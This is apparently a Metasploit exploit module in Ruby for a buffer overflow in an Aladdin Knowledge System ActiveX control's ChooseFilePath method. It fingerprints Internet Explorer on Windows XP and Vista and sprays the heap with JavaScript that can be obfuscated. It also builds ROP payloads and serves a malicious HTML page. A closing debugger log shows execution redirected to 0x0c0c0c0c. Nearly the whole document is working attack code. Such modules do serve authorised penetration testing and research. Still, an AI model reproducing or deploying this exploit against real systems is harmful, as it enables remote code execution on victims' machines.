Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
include Msf::Exploit::Remote::BrowserAutopwn  
include Msf::Exploit::RopDb  
  
autopwn_info({  
:ua_name => HttpClients::IE,  
:ua_minver => "6.0",  
:ua_maxver => "8.0",  
:javascript => true,  
:os_name => OperatingSystems::WINDOWS,  
:rank => Rank,  
:classid => "{09F68A41-2FBE-11D3-8C9D-0008C7D901B6}",  
:method => "ChooseFilePath",  
})  
  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Aladdin Knowledge System Ltd ChooseFilePath Buffer Overflow",  
'Description' => %q{  
This module exploits a vulnerability found in Aladdin Knowledge System's  
ActiveX component. By supplying a long string of data to the ChooseFilePath()  
function, a buffer overflow occurs, which may result in remote code execution  
under the context of the user.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'shinnai', #Vulnerability Discovery  
'b33f', #Original exploit  
'sinn3r', #Metasploit  
'juan vazquez' #Metasploit, IE8 target  
],  
'References' =>  
[  
[ 'OSVDB', '86723' ],  
[ 'EDB', '22258' ],  
[ 'EDB', '22301' ]  
],  
'Payload' =>  
{  
'StackAdjustment' => -3500  
},  
'DefaultOptions' =>  
{  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Automatic', {} ],  
[ 'IE 6 on Windows XP SP3',  
{  
'Rop' => false,  
'Offset' => '0x5F4',  
'Ret' => 0x0c0c0c0c  
}  
],  
[ 'IE 7 on Windows XP SP3',  
{  
'Rop' => false,  
'Offset' => '0x5F4',  
'Ret' => 0x0c0c0c0c  
}  
],  
[ 'IE 8 on Windows XP SP3',  
{  
'Rop' => true,  
'Offset' => '0x5f6',  
'Ret' => 0x77c2282e # stackpivot # mov esp,ebp # pop ebp # retn # msvcrt.dll  
}  
],  
[ 'IE 7 on Windows Vista',  
{  
'Rop' => false,  
'Offset' => '0x5F4',  
'Ret' => 0x0c0c0c0c  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => "Apr 1 2012",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])  
], self.class)  
  
end  
  
def get_target(agent)  
#If the user is already specified by the user, we'll just use that  
return target if target.name != 'Automatic'  
  
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''  
ie = agent.scan(/MSIE (\d)/).flatten[0] || ''  
  
ie_name = "IE #{ie}"  
  
case nt  
when '5.1'  
os_name = 'Windows XP SP3'  
when '6.0'  
os_name = 'Windows Vista'  
when '6.1'  
os_name = 'Windows 7'  
end  
  
targets.each do |t|  
if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))  
print_status("Target selected as: #{t.name}")  
return t  
end  
end  
  
return nil  
end  
  
def ie_heap_spray(my_target, p)  
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))  
js_nops = Rex::Text.to_unescape("\x0c"*4, Rex::Arch.endian(target.arch))  
  
# Land the payload at 0x0c0c0c0c  
  
js = %Q|  
var heap_obj = new heapLib.ie(0x20000);  
var code = unescape("#{js_code}");  
var nops = unescape("#{js_nops}");  
while (nops.length < 0x80000) nops += nops;  
var offset = nops.substring(0, #{my_target['Offset']});  
var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);  
while (shellcode.length < 0x40000) shellcode += shellcode;  
var block = shellcode.substring(0, (0x80000-6)/2);  
heap_obj.gc();  
for (var i=1; i < 0x300; i++) {  
heap_obj.alloc(block);  
}  
var overflow = nops.substring(0, 10);  
|  
  
js = heaplib(js, {:noobfu => true})  
  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
end  
  
return js  
end  
  
def load_exploit_html(my_target, cli)  
  
if my_target['Rop']  
p = generate_rop_payload('msvcrt', payload.encoded, {'target'=>'xp'})  
else  
p = payload.encoded  
end  
  
spray = ie_heap_spray(my_target, p)  
  
html = %Q|  
<html>  
<object id="pwnd" classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6"></object>  
<script>  
#{spray}  
  
junk='';  
for( counter=0; counter<=267; counter++) junk+=unescape("%0c");  
pwnd.ChooseFilePath(junk + "#{Rex::Text.to_hex([my_target.ret].pack("V"))}");  
</script>  
</html>  
|  
  
return html  
end  
  
def on_request_uri(cli, request)  
agent = request.headers['User-Agent']  
uri = request.uri  
print_status("Requesting: #{uri}")  
  
my_target = get_target(agent)  
# Avoid the attack if no suitable target found  
if my_target.nil?  
print_error("Browser not supported, sending 404: #{agent}")  
send_not_found(cli)  
return  
end  
  
html = load_exploit_html(my_target, cli)  
html = html.gsub(/^\t\t/, '')  
print_status("Sending HTML...")  
send_response(cli, html, {'Content-Type'=>'text/html'})  
end  
  
end  
  
=begin  
0:008> g  
(82c.12dc): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=0c0c0c0c ebx=00001d56 ecx=020b93d4 edx=00001d56 esi=00001d60 edi=020b93e8  
eip=7712a41a esp=020b93bc ebp=020b93c4 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
OLEAUT32!SysReAllocStringLen+0x31:  
7712a41a 8b00 mov eax,dword ptr [eax] ds:0023:0c0c0c0c=????????  
0:008> g  
(82c.12dc): Access violation - code c0000005 (first chance)  
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.  
eax=00000000 ebx=00000000 ecx=0c0c0c0c edx=7c9032bc esi=00000000 edi=00000000  
eip=0c0c0c0c esp=020b8fec ebp=020b900c iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246  
0c0c0c0c ?? ???  
0:008> db 020bf798  
020bf798 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
020bf7a8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
020bf7b8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
020bf7c8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
020bf7d8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
020bf7e8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
020bf7f8 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
020bf808 0c 0c 0c 0c 0c 0c 0c 0c-0c 0c 0c 0c 0c 0c 0c 0c ................  
=end`